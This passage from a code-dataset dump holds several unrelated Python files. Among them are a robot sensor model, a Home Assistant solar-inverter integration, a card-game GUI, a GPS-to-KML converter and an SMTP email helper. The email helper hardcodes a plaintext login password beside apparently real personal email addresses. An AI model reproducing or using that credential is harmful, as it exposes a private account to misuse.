assistance...\")\n\tmain(args['workdir'], args['jdir'])","sub_path":"src/code/jstat/EDPL_calc.py","file_name":"EDPL_calc.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"240518943","text":"\"\"\"Question 15 Function Writing Practice.\"\"\"\n\n\ndef odd_and_even(list1: list[int]) -> list[int]:\n \"\"\"Odd and even.\"\"\"\n i: int = 0\n list2: list[int] = []\n\n while i < len(list1):\n if list1[i] % 2 == 1 and i % 2 == 0:\n list2.append(list1[i])\n i += 1\n \n return list2","sub_path":"lessons/quiz2_practice.py","file_name":"quiz2_practice.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585432287","text":"import sys\nfrom math import gcd\nfrom math import sqrt\nfrom collections import defaultdict\n\n\nRESULT = defaultdict(int)\nMAXN = 1048576\n\n\ndef preprocess():\n max_iter = int(sqrt(MAXN)) + 1\n for x in range(1, max_iter):\n xx = x * x\n xxN = int(sqrt(MAXN - xx))\n for y in range(x + 1, max_iter + 1, 2):\n if gcd(x, y) != 1:\n continue\n if y > xxN:\n break\n RESULT[(xx + y * y - 1) // 4] += 1\n for i in range(1, MAXN // 4 + 1):\n RESULT[i] += RESULT[i - 1]\n\n\npreprocess()\n\n\nfor line in sys.stdin:\n N = (int(line) - 1) // 4\n print(RESULT[N])\n","sub_path":"optimise/code/v14.py","file_name":"v14.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"537917045","text":"from model.robot.sensor.sensor import Sensor\nimport numpy as np\nimport random\n\n\nclass ProximitySensor(Sensor):\n\n def __init__(\n self,\n min_range, # Min sensor range (meters)\n max_range, # Max sensor range (meters)\n phi_view, # View angle of this sensor (deg if use_rad==False)\n accuracy=1.0, # Accuracy of the sensor\n use_rad=False # If True, the phi_view will be specified in radians\n ):\n\n # Sensitivity attributes\n self.min_range = min_range\n self.max_range = max_range\n self.phi_view = phi_view if use_rad else np.radians(phi_view)\n self.accuracy = accuracy\n\n self.pose = (0.0, 0.0, 0.0)\n\n # Sensor output\n self.read_value = max_range\n\n def read(self):\n \"\"\"\n Return the sensor output\n \"\"\"\n\n # Simulate noise based on accuracy\n noise = (1 - self.accuracy) * random.uniform(-1, 1)\n\n # Compute sensor reading with noise\n noisy_reading = self.read_value + noise\n\n # Make sure the reading is within valid range\n noisy_reading = max(self.min_range, min(self.max_range, noisy_reading))\n\n return noisy_reading\n\n def update_position(self, robot_pose):\n \"\"\"\n Update the pose of the sensor\n \"\"\"\n x = self.pose[0] + robot_pose[0]\n y = self.pose[1] + robot_pose[1]\n phi = (self.pose[2] + robot_pose[2]) % 360\n self.pose = (x, y, phi)\n\n\nif __name__ == '__main__':\n\n min_range = 0.01 # Minimum sensor range (meters)\n max_range = 5.0 # Maximum sensor range (meters)\n phi_angle = 30 # Field of view angle (deg)\n accuracy = 0.9 # Accuracy parameter (between 0 and 1)\n\n proximity_sensor = ProximitySensor(min_range, max_range, phi_angle, accuracy)\n\n sensor_reading = proximity_sensor.read()\n\n print(\"Sensor Reading:\", sensor_reading)\n","sub_path":"model/robot/sensor/proximity.py","file_name":"proximity.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"72922285","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\n__author__ = 'Roger Yu'\n\n# Import stmplib module in order to connect/login SMTP server, start TLS, and send email\nimport smtplib\n# import time module in order to counting the time consuming performance of the job\nimport time\n# import datetime module in order to print time info or write logs\nfrom datetime import datetime\n# Integrate email module in order to format email to html, and can add image, attachment into the email\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.image import MIMEImage\n\n# SmartSmtp is the class in order to integrate email formatting and auto email sending functions\n# add_html, add_image, and add_attachment_file functions allows the user to enclose any items you want to regulate\n# own email format\nclass SmartSmtp:\n # the class need to initialize the host and port info to provide basic connection to the smtp server, the format of host\n # should be ip address or hostname, the format of port normally should be 25\n def __init__(self, host, port):\n self.HOST = host\n self.PORT = port\n\n # Add mail body context which fully support html format content. src is the file path of the html file(or text file)\n # Suppose the src should be the absolute path of the file(you can use os.path.join + os.getcwd function to get the\n # file path with absolution + relative adress)\n def add_context(self, src):\n file = open(src, 'r')\n msgContent = MIMEText(file.read(),\"html\", \"utf-8\")\n file.close()\n return msgContent\n\n # Add image allows user to add image file which should be contained in the email context with html-format. The\n # image id should fully match with the cid in the html files in order the image can be positioned to the right place\n # Src, for sure is the same meaning as the param in add_context function\n def add_image(self, src, image_id):\n file = open(src, 'r')\n msgImage = MIMEImage(file.read())\n file.close()\n msgImage.add_header(\"Content-ID\", image_id)\n return msgImage\n\n # Add attach file function as its meaning, is to attach any object into the email in order the receiver can download\n # it from the stmp server. The file_name param is the name which receiver see on the attach file. src for sure is the\n # same meaning as the param in add_context_function\n def add_attach_file(self, src, file_name):\n file = open(src, 'r')\n attachFile = MIMEText(file.read(), \"base64\", \"utf-8\")\n file.close()\n attachFile[\"Content-Type\"] = \"application/octet-stream\"\n attachFile[\"Content-Disposition\"] = \"attachment; filename = %s\" % file_name\n return attachFile\n\n # send_mimetext_email function is used to send a email without any plot or attachment in it. The function support\n # to create html format email body which is the fundamental function\n def send_mimetext_email(self, subject, fromAddr, toAddrList, msgContent):\n messageBody = self.add_context(msgContent)\n messageBody[\"Subject\"] = subject\n messageBody[\"From\"] = fromAddr\n messageBody[\"To\"] = toAddrList\n start_time = time.time()\n try:\n server = smtplib.SMTP()\n server.connect(self.HOST, self.PORT)\n server.starttls() # Provide safe transporation service;\n server.login(fromAddr, \"$hrut$2ER\")\n server.sendmail(fromAddr, toAddrList, messageBody.as_string())\n server.quit()\n end_time = time.time()\n time_consume = round(end_time - start_time, 2)\n print(\"INFO: Sent email succeed, time consume %f secs at %s \" % (time_consume, datetime.now()))\n except Exception as e:\n print(\"Error: Sent email fail,\" + str(e))\n\n # send_mimemultipart_email support html format mail body, image embedded, and file attachment. When no msgImageDict\n # and attachFileDict is inputed, the function will only let the user to provide mail body as default setup\n def send_mimemultipart_email(self, subject, fromAddr, toAddrList, msgContent, msgImageDict=None, attachFileDict=None):\n messageBody = MIMEMultipart(\"related\")\n messageText = self.add_context(msgContent)\n messageBody.attach(messageText)\n if msgImageDict != None:\n for image_name in msgImageDict:\n messageBody.attach(self.add_image(msgImageDict[image_name],image_name))\n if attachFileDict !=None:\n for file_name in attachFileDict:\n messageBody.attach(self.add_attach_file(attachFileDict[file_name], file_name))\n messageBody[\"Subject\"] = subject\n messageBody[\"From\"] = fromAddr\n messageBody[\"To\"] = toAddrList\n try:\n start_time = time.time()\n server = smtplib.SMTP()\n server.connect(self.HOST, self.PORT)\n server_connection_time = time.time()\n server.starttls() # Provide safe transporation service;\n tls_time = time.time()\n server.login(fromAddr, \"$hrut$2ER\")\n login_time = time.time()\n server.sendmail(fromAddr, toAddrList, messageBody.as_string())\n send_mail_time = time.time()\n server.quit()\n end_time = time.time()\n time_serv_conn = round(server_connection_time - start_time, 2)\n time_tls = round(tls_time - server_connection_time, 2)\n time_login = round(login_time - tls_time, 2)\n time_send_mail = round(send_mail_time - login_time, 2)\n end_time = round(end_time - send_mail_time, 2)\n print(\"\"\"INFO: Sent email succeed at %s,\\n server connection cost %f secs,\\n tls cost %f s, \n login cost %f s,\\n send email cost %f s,\\n quit service cost %f s\\n\"\"\" % (datetime.now(), time_serv_conn,\n time_tls, time_login, time_send_mail,\n end_time))\n except Exception as e:\n print(\"Error: Sent email fail,\" + str(e))\n\n\nif __name__ == \"__main__\":\n import os\n\n sSmtp = SmartSmtp(\"smtp.163.com\", \"25\")\n\n sSmtp.send_mimemultipart_email(\"This is a test_email\",\n \"yuchao8604@163.com\",\n \"448610544@qq.com\",\n os.path.join(os.getcwd(), \"raw_data/trial.htm\"),\n attachFileDict={\"trial.htm\":os.path.join(os.getcwd(), \"raw_data/trial.htm\")})\n","sub_path":"src/common/smart_smtp.py","file_name":"smart_smtp.py","file_ext":"py","file_size_in_byte":6631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"92875505","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Oct 5 20:21:31 2018\r\n\r\n@author: Simon\r\n\"\"\"\r\n\r\nfrom tkinter import *\r\nfrom playing_card_GUI import *\r\nfrom playing_field import *\r\nfrom game import *\r\nimport time\r\n\r\nclass Window(Tk):\r\n \r\n def __init__(self,width,height):\r\n \r\n assert self.__class__ is not Window #Classe absraite\r\n Tk.__init__(self)\r\n self.__width = width\r\n self.__height = height \r\n \r\n def get_width(self):\r\n return self.__width\r\n \r\n def get_height(self):\r\n return self.__height\r\n \r\n#La fenêtre de jeu principale\r\nclass GameWindow(Window):\r\n \r\n def __init__(self,w,h):\r\n Window.__init__(self,w,h)\r\n self.__field = Playing_Field(self)\r\n self.__field.pack()\r\n self.__count = 0\r\n #La fenêtre contient aussi le déroulement de la partie\r\n #Variables cruciales pour situer le programme dans le déroulement de la partie.\r\n self.__doing_dog = False\r\n self.__end_turn = False\r\n self.__counter_cards_dog = 0\r\n self.time1 = 0\r\n self.time2 = time.time()\r\n \r\n def set_doing_dog(self,b):\r\n self.__doing_dog = b\r\n \r\n def get_doing_dog(self):\r\n return self.__doing_dog\r\n def set_count(self,n):\r\n self.__count = n\r\n if self.__count < 0:\r\n self.__count = 0\r\n def get_count(self):\r\n return self.__count\r\n def set_end_turn(self,b):\r\n self.__end_turn = b\r\n \r\n def get_end_turn(self):\r\n return self.__end_turn\r\n \r\n def show(self):\r\n self.__field.place_hands()\r\n \r\n def inc_cards_dog(self):\r\n self.__counter_cards_dog += 1\r\n \r\n def get_counter_cards_dog(self):\r\n return self.__counter_cards_dog\r\n \r\n def get_field(self):\r\n return self.__field\r\n \r\nwin = GameWindow(1200,650)\r\n\r\n'''On met le contenu du jeu ici'''\r\n#On détecte à chauqe instant les mouvements de la souris\r\nbasic_game = Game(win.get_field(),win)\r\n\r\nwin.show()\r\n\r\n#Gestion des évênements souris\r\ndef mouse_moving(event):\r\n players = win.get_field().get_players() \r\n for p in players:\r\n cards = p.get_hand().get_cards()\r\n #print(p.is_bidder())\r\n if p.is_bidder() and win.get_doing_dog():\r\n for c in cards:\r\n c.hitbox_listener(event)\r\n elif p.is_playing():\r\n playable = p.playable_cards(win.get_field().get_trick())\r\n for c in cards:\r\n if c in playable:\r\n c.hitbox_listener(event)\r\n \r\ndef mouse_clicked(event):\r\n flag = True\r\n players = win.get_field().get_players() \r\n win.set_count(win.get_count()+1)\r\n double = False\r\n #Gestion du double clic (il faut que l'écart de temps soit supérieur à 1s)\r\n if win.get_count()%2 == 0:\r\n win.time1 = time.time()\r\n else: \r\n win.time2 = time.time()\r\n if abs(win.time1 - win.time2)<1:\r\n print(\"DOUBLE CLIC\")\r\n double = True\r\n if double:\r\n win.set_count(win.get_count()-1)\r\n double = False\r\n else:\r\n for p in players:\r\n cards = p.get_hand().get_cards()\r\n #Il faut vérifier qu'on clique bien dans la hitbox\r\n if p.is_bidder() and win.get_doing_dog(): \r\n for c in cards:\r\n c.click_listener(event)\r\n if c.is_clicked():\r\n win.inc_cards_dog()\r\n c.set_clicked(False)\r\n if win.get_counter_cards_dog() == 6: \r\n #On double la détection ici pour que la 6e carte cliquée aille bien dans le chien\r\n print(\"fin chien\") \r\n event.x,event.y = 0,0\r\n time.sleep(0.5)\r\n win.set_doing_dog(False)\r\n #Fonciton permettant à la partie de se lancer (on a fini de mettre en place le jeu)\r\n basic_game.start_turn_seg_1(basic_game.get_dealer(),basic_game.get_players(),basic_game.get_bidder(),None)\r\n \r\n elif p.is_playing() and isinstance(p,Human):\r\n playable = p.playable_cards(win.get_field().get_trick())\r\n #if win.get_field().excuse_played():\r\n #if win.get_field().get_player_excused() == win.get_field().get_first(): #Si celui qui a joué l'excuse est le premier à jouer\r\n '''new_trick = Trick(win.get_field())\r\n for c in win.get_field().get_trick(): #On fait ignorer à \"playable_cards\" que l'excuse a été jouée\r\n if type(c) != Excuse:\r\n new_trick.add_card(c,(-100,-100))\r\n playable = p.playable_cards(new_trick)\r\n else:'''\r\n for c in cards:\r\n if c in playable:\r\n c.enable()\r\n c.click_listener(event)\r\n if c.is_clicked():\r\n #print(\"carte \",c,\" jouee\")\r\n p.play(c,win.get_field().get_trick())\r\n #p.get_hand().show()\r\n p.set_playing(False)\r\n flag = False\r\n basic_game.start_turn_seg_2()\r\n win.set_count(0)\r\n break\r\n if win.get_count()%2 == 0:\r\n win.time1 = time.time()\r\n else: \r\n win.time2 = time.time()\r\n if abs(win.time1 - win.time2)<1:\r\n print(\"DOUBLE CLIC\")\r\n double = True\r\n if double:\r\n win.set_count(win.get_count()-1)\r\n double = False\r\n else:\r\n if win.get_end_turn() and win.get_count() == 1:\r\n basic_game.start_turn_seg_3()\r\n win.set_count(0)\r\n #flag =True #permet de ne pas jouer plusieurs fois de suite\r\n print(win.get_count())\r\nwin.bind('',mouse_moving)\r\nwin.bind('',mouse_clicked)\r\n\r\nbasic_game.begin_game(3)\r\n\r\nwin.mainloop()","sub_path":"Interface - 22052019/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":6127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"185772315","text":"#!/usr/bin/env python\n\nimport sys\nimport numpy as np\nimport simplekml\n\nfrom pyproj import Proj, transform\n\na = 0\nb = 0\na_trig = False\nb_trig = False\nf_trig = False\nfile_name = ''\npath = ''\n\ndef parse_txt(path):\n f = open(path, \"r\")\n data = f.read()\n f.close()\n\n data = data.rstrip().split('\\n')\n data = [x.split(' ') for x in data]\n #print(data)\n data = np.array(data, np.float64)\n\n return data\n\n\nif __name__ == \"__main__\":\n file_name = sys.argv[1]\n\n if len(file_name) == 0:\n print('The file is not exist')\n exit(-1)\n\n path = parse_txt(file_name)\n kml = simplekml.Kml()\n\n\n save_path = file_name.split('.')[0]+'.kml'\n\n # UTM-K\n proj_UTMK = Proj(init='epsg:5179')\n\n # WGS84\n proj_WGS84 = Proj(init='epsg:4326')\n\n\n\n # for point in path:\n # longitude, latitude = transform(proj_UTMK, proj_WGS84, point[0], point[1])\n # print(longitude, latitude)\n longitude, latitude = transform(proj_UTMK, proj_WGS84, path[:,0], path[:,1])\n for data in zip(longitude, latitude):\n print(data[0], data[1])\n kml.newpoint(name=\"(lat/long)\", description=\"lt/longt\", coords=[(data[0], data[1])])\n\n kml.save(save_path)\n","sub_path":"interpolation/2021/gps_to_kml.py","file_name":"gps_to_kml.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"649507253","text":"\"\"\"\n1. Подсчитать, сколько было выделено памяти под переменные в ранее\nразработанных программах в рамках первых трех уроков. Проанализировать\nрезультат и определить программы с наиболее эффективным использованием памяти.\nПримечание: Для анализа возьмите любые 1-3 ваших программы или несколько\nвариантов кода для одной и той же задачи. Результаты анализа вставьте в виде\nкомментариев к коду. Также укажите в комментариях версию Python\nи разрядность вашей ОС.\n\"\"\"\n\n# В одномерном массиве найти сумму элементов, находящихся\n# между минимальным и максимальным элементами.\n# Сами минимальный и максимальный элементы в сумму не включать.\n\nfrom memory_profiler import profile\n\n@profile\ndef func():\n a = list(range(50000))\n # Попробовал добавить новую переменную new_a, но, т.к. она является ссылкой, дополнительной памяти не выделилось.\n new_a = a\n\n max_a = a[0]\n min_a = a[0]\n\n min_index = 0\n for i in range(len(new_a)):\n if min_a > new_a[i]:\n min_a = new_a[i]\n min_index = i\n print(\"Минимальный элемент: \", min_a)\n\n max_index = 0\n for i in range(len(new_a)):\n if max_a < new_a[i]:\n max_a = new_a[i]\n max_index = i\n print(\"Максимальный элемент: \", max_a)\n\n sum = 0\n\n if min_index > max_index:\n min_index, max_index = max_index, min_index\n\n for i in range(min_index + 1, max_index):\n sum += new_a[i]\n\n print(f\"Сумма между минимальным и максимальным элементом массива {sum}\")\n del a\n del new_a\n\nif __name__== \"__main__\":\n func()\n\n# Python 3.7 x64\n\n\"\"\"\nLine # Mem usage Increment Line Contents\n================================================\n 17 13.3 MiB 13.3 MiB @profile\n 18 def func():\n 19 14.3 MiB 0.9 MiB a = list(range(50000))\n 20 14.3 MiB 0.0 MiB new_a = a\n 21 \n 22 14.3 MiB 0.0 MiB max_a = a[0]\n 23 14.3 MiB 0.0 MiB min_a = a[0]\n 24 \n 25 14.3 MiB 0.0 MiB min_index = 0\n 26 14.3 MiB 0.0 MiB for i in range(len(new_a)):\n 27 14.3 MiB 0.0 MiB if min_a > new_a[i]:\n 28 min_a = new_a[i]\n 29 min_index = i\n 30 14.3 MiB 0.0 MiB print(\"Минимальный элемент: \", min_a)\n 31 \n 32 14.3 MiB 0.0 MiB max_index = 0\n 33 14.3 MiB 0.0 MiB for i in range(len(new_a)):\n 34 14.3 MiB 0.0 MiB if max_a < new_a[i]:\n 35 14.3 MiB 0.0 MiB max_a = new_a[i]\n 36 14.3 MiB 0.0 MiB max_index = i\n 37 14.3 MiB 0.0 MiB print(\"Максимальный элемент: \", max_a)\n 38 \n 39 14.3 MiB 0.0 MiB sum = 0\n 40 \n 41 14.3 MiB 0.0 MiB if min_index > max_index:\n 42 min_index, max_index = max_index, min_index\n 43 \n 44 14.3 MiB 0.0 MiB for i in range(min_index + 1, max_index):\n 45 14.3 MiB 0.0 MiB sum += new_a[i]\n 46 \n 47 14.3 MiB 0.0 MiB print(f\"Сумма между минимальным и максимальным элементом массива {sum}\")\n 48 14.3 MiB 0.0 MiB del a\n 49 13.5 MiB 0.0 MiB del new_a\n \n\"\"\"","sub_path":"Lesson_6/1-1.py","file_name":"1-1.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"268049185","text":"def multikeysort(items, columns):\n from operator import itemgetter\n comparers = [ ((itemgetter(col[1:].strip()), -1) if col.startswith('-') else (itemgetter(col.strip()), 1)) for col in columns]\n def comparer(left, right):\n for fn, mult in comparers:\n result = cmp(fn(left), fn(right))\n if result:\n return mult * result\n else:\n return 0\n return sorted(items, cmp=comparer)\n","sub_path":"team_not_found/utils/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"591491969","text":"import socket # Needed for talking to inverter\nimport codecs\nfrom .invertermsg import InverterMsg # Import the Msg handler\nfrom datetime import datetime\n\nimport logging\nimport async_timeout\n\nfrom homeassistant.helpers.entity import Entity\n\nfrom homeassistant.helpers.update_coordinator import DataUpdateCoordinator, UpdateFailed\n\nfrom homeassistant.const import (\n CONF_NAME,\n # POWER_WATT,\n # DEVICE_CLASS_POWER,\n # SCAN_INTERVAL,\n # SENSOR_TYPES,\n)\n\nfrom .const import (\n DOMAIN,\n HOST,\n PORT,\n SERIALNUMBER,\n ENERGY_KILO_WATT_HOUR,\n POWER_WATT,\n VOLT,\n TIME_BETWEEN_UPDATES,\n AMPS,\n FREQUENCY,\n SENSOR_TYPES,\n)\n\n_LOGGER = logging.getLogger(__name__)\n\nATTRIBUTION = \"Power output from SolarMan Omnik Data Logger installed in an Inverter\"\nDEFAULT_NAME = \"SolarMAN\"\n\n\nasync def async_setup_platform(hass, config, async_add_entities, discovery_info=None):\n \"\"\"Set up the sensor platform.\"\"\"\n # async_add_entities(SolarMANSensor(config))\n _LOGGER.info(\"setup SolarMAN Platform\")\n\n\nasync def async_setup_entry(hass, entry, async_add_entities):\n api = SolarMANData(hass, entry)\n\n async def async_update_data():\n \"\"\"Fetch data from API endpoint.\n\n This is the place to pre-process the data to lookup tables\n so entities can quickly look up their data.\n \"\"\"\n try:\n # Note: asyncio.TimeoutError and aiohttp.ClientError are already\n # handled by the data update coordinator.\n async with async_timeout.timeout(30):\n return await api.fetch_data()\n # except ApiError as err:\n except:\n raise UpdateFailed(f\"Error communicating with API\")\n\n coordinator = DataUpdateCoordinator(\n hass,\n _LOGGER,\n # Name of the data. For logging purposes.\n name=\"sensor\",\n update_method=async_update_data,\n # Polling interval. Will only be polled if there are subscribers.\n update_interval=TIME_BETWEEN_UPDATES,\n )\n\n # Fetch initial data so we have data when entities subscribe\n await coordinator.async_refresh()\n\n async_add_entities(\n SolarMANSensor(coordinator, ent) for idx, ent in enumerate(coordinator.data)\n )\n\n\nclass SolarMANSensor(Entity):\n \"\"\"Implementation of a SolarMan Omnik Sensor.\"\"\"\n\n def __init__(self, coordinator, ent):\n self.coordinator = coordinator\n self.ent = ent\n\n @property\n def name(self):\n \"\"\"Return the name of the sensor.\"\"\"\n return \"{} ({})\".format(\"SolarMAN\", SENSOR_TYPES[self.ent][1])\n\n @property\n def unit_of_measurement(self):\n \"\"\"Return the state of the sensor.\"\"\"\n return SENSOR_TYPES[self.ent][2]\n\n @property\n def icon(self):\n \"\"\"Return the sensor icon.\"\"\"\n return SENSOR_TYPES[self.ent][3]\n\n @property\n def device_class(self):\n return \"power\"\n\n @property\n def state(self):\n \"\"\"Return the state of the sensor.\"\"\"\n return self.coordinator.data[self.ent]\n\n async def async_update(self):\n \"\"\"Update the entity.\n\n Only used by the generic entity update service.\n \"\"\"\n await self.coordinator.async_request_refresh()\n\n\nclass SolarMANData:\n \"\"\"Get and update the latest data.\"\"\"\n\n def __init__(self, hass, config):\n \"\"\"Init the api.\"\"\"\n self.hass = hass\n self.config = config\n self.data = {}\n\n # @Throttle(TIME_BETWEEN_UPDATES)\n # async def update(self):\n # new_data = \"\" # get data here\n # self.hass.data[DOMAIN] = new_data # set data\n\n async def fetch_data(self):\n\n if self.hass.states._states[\"sun.sun\"].state == \"above_horizon\":\n ip = self.config.data[\"host\"]\n port = self.config.data[\"port\"]\n wifi_serial = int(self.config.data[\"serial\"])\n\n for res in socket.getaddrinfo(ip, port, socket.AF_INET, socket.SOCK_STREAM):\n family, socktype, proto, canonname, sockadress = res\n try:\n # print(\"connecting to {0} port {1}\".format(ip, port))\n inverter_socket = socket.socket(family, socktype, proto)\n inverter_socket.settimeout(10)\n inverter_socket.connect(sockadress)\n except socket.error as msg:\n _LOGGER.info(\"Could not open socket\")\n\n try:\n inverter_socket.sendall(SolarMANData.generate_string(wifi_serial))\n data = inverter_socket.recv(1024)\n inverter_socket.close()\n\n msg = InverterMsg(data)\n\n self.data[\"TIME\"] = datetime.now()\n self.data[\"powerAC\"] = msg.p_ac(1)\n self.data[\"powerDC1\"] = msg.v_pv(1) * msg.i_pv(1)\n self.data[\"powerDC2\"] = msg.v_pv(2) * msg.i_pv(2)\n self.data[\"powerDC3\"] = msg.v_pv(3) * msg.i_pv(3)\n self.data[\"voltageAC\"] = msg.v_ac(1)\n self.data[\"voltageDC1\"] = msg.v_pv(1)\n self.data[\"voltageDC2\"] = msg.v_pv(2)\n self.data[\"voltageDC3\"] = msg.v_pv(3)\n self.data[\"ampsDC1\"] = msg.i_pv(1)\n self.data[\"ampsDC2\"] = msg.i_pv(2)\n self.data[\"ampsDC3\"] = msg.i_pv(3)\n self.data[\"frequencyAC\"] = msg.f_ac(1)\n self.data[\"yieldDAY\"] = msg.e_today\n _LOGGER.debug(\"Updated SolarMAN overview data: %s\", self.data)\n except AttributeError:\n _LOGGER.error(\"Missing details data in SolarMAN response\")\n except:\n self.data[\"TIME\"] = datetime.now()\n self.data[\"powerAC\"] = 0\n self.data[\"powerDC1\"] = 0\n self.data[\"powerDC2\"] = 0\n self.data[\"powerDC3\"] = 0\n self.data[\"voltageAC\"] = 0\n self.data[\"voltageDC1\"] = 0\n self.data[\"voltageDC2\"] = 0\n self.data[\"voltageDC3\"] = 0\n self.data[\"ampsDC1\"] = 0\n self.data[\"ampsDC2\"] = 0\n self.data[\"ampsDC3\"] = 0\n self.data[\"frequencyAC\"] = 0\n self.data[\"yieldDAY\"] = 0\n else:\n self.data[\"TIME\"] = datetime.now()\n self.data[\"powerAC\"] = 0\n self.data[\"powerDC1\"] = 0\n self.data[\"powerDC2\"] = 0\n self.data[\"powerDC3\"] = 0\n self.data[\"voltageAC\"] = 0\n self.data[\"voltageDC1\"] = 0\n self.data[\"voltageDC2\"] = 0\n self.data[\"voltageDC3\"] = 0\n self.data[\"ampsDC1\"] = 0\n self.data[\"ampsDC2\"] = 0\n self.data[\"ampsDC3\"] = 0\n self.data[\"frequencyAC\"] = 0\n self.data[\"yieldDAY\"] = 0\n\n return self.data\n\n @staticmethod\n def generate_string(serial_no):\n \"\"\"Create request string for inverter.\n\n The request string is build from several parts. The first part is a\n fixed 4 char string; the second part is the reversed hex notation of\n the s/n twice; then again a fixed string of two chars; a checksum of\n the double s/n with an offset; and finally a fixed ending char.\n\n Args:\n serial_no (int): Serial number of the inverter\n\n Returns:\n str: Information request string for inverter\n \"\"\"\n response = b\"\\x68\\x02\\x40\\x30\"\n\n double_hex = hex(serial_no)[2:] * 2\n hex_list = [\n codecs.decode(double_hex[i : i + 2], \"hex\")\n for i in reversed(range(0, len(double_hex), 2))\n ]\n\n cs_count = 115 + sum([ord(c) for c in hex_list])\n checksum = codecs.decode(hex(cs_count)[-2:], \"hex\")\n response += b\"\".join(hex_list) + b\"\\x01\\x00\" + checksum + b\"\\x16\"\n return response\n","sub_path":"homeassistant/components/solarman/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":7810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"44837767","text":"import logging\nfrom lvis import LVIS, LVISResults, LVISEval\n\n# result and val files for 100 randomly sampled images.\nANNOTATION_PATH = '../../dataset/LVIS/annotations/instances_val2017.json'\nRESULT_PATH = \"./result.pkl.segm.json\"\n\nANN_TYPE = 'segm'\n\nlvis_eval = LVISEval(ANNOTATION_PATH, RESULT_PATH, ANN_TYPE)\nlvis_eval.run()\nlvis_eval.print_results()\n","sub_path":"tools/lvis_eval.py","file_name":"lvis_eval.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"408757634","text":"__author__ = 'Victor'\n\nimport sys\nfrom os.path import expanduser, join\nhome_dir = expanduser('~') #your OS home folder\nsys.path.append(join(home_dir, 'PycharmProjects', 'WekaPy')) #Location of the weka_utils module\nfrom os import listdir\nfrom weka_utils.weka_cl import directory\nfrom weka_utils.filters.multi_filter import MultiFilterCommand as MultiFilter\n\ndef binarize_influenza(input_arff, output_arff, heap, cp):\n filters = MultiFilter(heap=heap, cp=cp)\n filters.add_filter(w_filter='weka.filters.unsupervised.attribute.MergeTwoValues',\n options=[('C', 'last'), ('F', '1'), ('S', '2')]) # merge first 2 values of last attr\n filters.add_filter(w_filter='weka.filters.unsupervised.attribute.RenameNominalValues',\n options=[('R', 'last'), ('N', 'Other_NILI:N')])\n filters.add2command(' -c 1')\n filters.set_source(input_arff)\n filters.add2command(' -i ' + filters._source)\n filters.set_output(output_arff)\n filters.add2command(' -o ' + filters._output)\n\n return filters\n\ndef main():\n # weka_cp = join(home_dir, 'Box Sync', 'DBMI', 'ResearchProject', 'weka3-7-10', 'weka.jar') #path to weka.jar\n weka_cp = join(home_dir, 'weka3-7-10', 'weka.jar')\n # import re\n # if re.search(r'\\s+', weka_cp): #this will be a windows-oriented script. Blank spaces in mac will requiere ad-hoc adjust\n # weka_cp = '\"' + weka_cp + '\"'\n heap = '64g'#maximum memory for java heap\n\n\n arff_dir = '/home/yeye/influenza_ML_BN/IntermediatedData_Result/inforGainRanking/'\n arff_files = [f for f in listdir(arff_dir) if f.endswith('.arff')]\n\n arff_out_dir = join(home_dir, 'influenza_with_age', 'binary_arff')\n directory.mk_nonExist_dirs(arff_out_dir, verbose=True) #create folder if it doesn't exist\n\n for f in arff_files:\n source_arff = join(arff_dir, f)\n binary_flu = binarize_influenza(input_arff=source_arff, output_arff=join(arff_out_dir, f),\n heap=heap,cp=weka_cp)\n binary_flu.execute(verbose=True, shell=True)\n\nif __name__ == '__main__':\n main()\n\n\n\n","sub_path":"preprocess/binarize_arff.py","file_name":"binarize_arff.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"476426300","text":"#!/usr/bin/python3\n#Client\nimport socket, sys\nname = socket.gethostname()\nname = socket.gethostbyname(name)\nclient = socket.socket()\ndef tcontc():\n i=input(\"Connect('y'|'n')?\\nadmin@%sbox~:$ \"%(sys.platform)); return i\ndef sendAndRecv(n,c):\n print(\"Attempting to connect\")\n client.connect((n,1234))\n print(\"Connected to the server.\\nTo exit just press ctrl+C\")\n while True:\n try:\n content=input(\"admin@%sbox~:$ \"%(sys.platform))\n client.send(bytes(content,\"utf-8\"))\n i=client.recv(1024)\n print(str(i))\n if content == \"close\":\n client.close()\n except KeyboardInterrupt:\n print(\"Ok, closing connection...\")\n print(\"Exiting, see you another time!\")\n client.close(); exit()\nif tcontc() == \"y\":\n print(\"connecting...\")\n sendAndRecv(name,client)\nelse:\n print(\"Ok, bye then.\")\n exit()\n#___ END ___","sub_path":"Client(Py3).py","file_name":"Client(Py3).py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"382019916","text":"#!/usr/bin/env python\n# -*- cpy-indent-level: 4; indent-tabs-mode: nil -*-\n# ex: set expandtab softtabstop=4 